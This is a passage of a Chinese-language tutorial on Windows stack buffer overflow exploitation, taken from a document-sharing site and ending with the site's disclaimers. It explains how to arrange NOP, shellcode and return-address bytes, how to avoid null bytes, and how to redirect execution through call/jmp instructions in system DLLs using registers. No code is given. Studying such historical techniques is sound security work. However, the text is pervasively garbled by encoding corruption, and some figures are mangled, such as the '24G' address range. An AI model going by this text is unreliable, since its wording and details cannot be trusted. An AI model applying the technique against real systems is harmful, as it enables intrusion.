56、含有0,那么我們的返回地址就必然含有0。 現(xiàn)在來看一看我們的shellcode:NNNNSSSSAAAAAA。顯然,我們的shellcode由于A里面含有0,所以就變成了NNNNNNNNSSSSSA,這樣,我們的返回地址A必須精確的放在確切的函數(shù)堆棧中的ret位置。 其次,windows在執(zhí)行mov esp,ebp的時(shí)候,把廢棄不用的堆棧用隨機(jī)數(shù)據(jù)填充(實(shí)驗(yàn)所得,機(jī)制如何,大家一起研究),因此我們的shellcode可能會(huì)被覆蓋! 所以,我們的shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區(qū)溢出發(fā)生之后,堆棧的布局如下: 內(nèi)存底部 內(nèi)存頂部b

57、uffer EBP ret <- NNNNNNNNNNNN A SSSS&buffer 堆棧頂部 堆棧底部 看到了嗎?我們的A覆蓋了返回地址。S位于堆棧的底部。A的內(nèi)容,就是指向S的調(diào)用。但是,剛才我們說過A里面是含有0字符的,這樣的溢出字符串,在A處就被0阻斷,根本無法到shellcode。我們需要把A改成不包含0的地址。好像沒有辦法了,是嗎?現(xiàn)在我們的A如何能做到即可以跳轉(zhuǎn)到我們的shellcode,又可以不含0字節(jié)呢? 大家可能還記得當(dāng)年IIS4.0遠(yuǎn)程攻擊的作者dark spyrit AKA Barnaby Jack吧?他在99年的Phrack Magzine55.15

58、上提出了使用系統(tǒng)核心dll中的指令來完成跳轉(zhuǎn)的思想。我不得不說這是一個(gè)天才的想法。事實(shí)上,這一技巧開創(chuàng)了一個(gè)嶄新的windows緩沖區(qū)溢出的思路。 思路是這樣的:返回地址A的內(nèi)容不指向我們的shellcode開始地點(diǎn),否則的話A里面必然含有0。我們知道系統(tǒng)核心的dll都是在24G,也就是從0x80000000到0xffffffff,這里面的指令地址將不包含0,(當(dāng)然幾個(gè)別的除外,我們可以不用他)。因此,我們可以令返回地址A等于一個(gè)系統(tǒng)核心dll中的指令的地址,這個(gè)指令的作用就是call/jmp 我們的shellcode。 但是他怎么才能知道我們的shellcode的地址呢? 答案是:用寄存器。因?yàn)樵谝绯霭l(fā)生的時(shí)候,除了eip跳到了系統(tǒng)核心dll去之外,其他的通用寄存器都保持不變。在寄存器里面一定有我們的shellcode的相關(guān)信息。比如說,敵人的函數(shù)如果有參數(shù)的話,那么我們的A覆蓋了他的返回地址,shellcode的開始地址則恰恰在他的第一個(gè)參數(shù)的位置上,那我們就可以用call ebp+4或者我們假設(shè)敵人

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論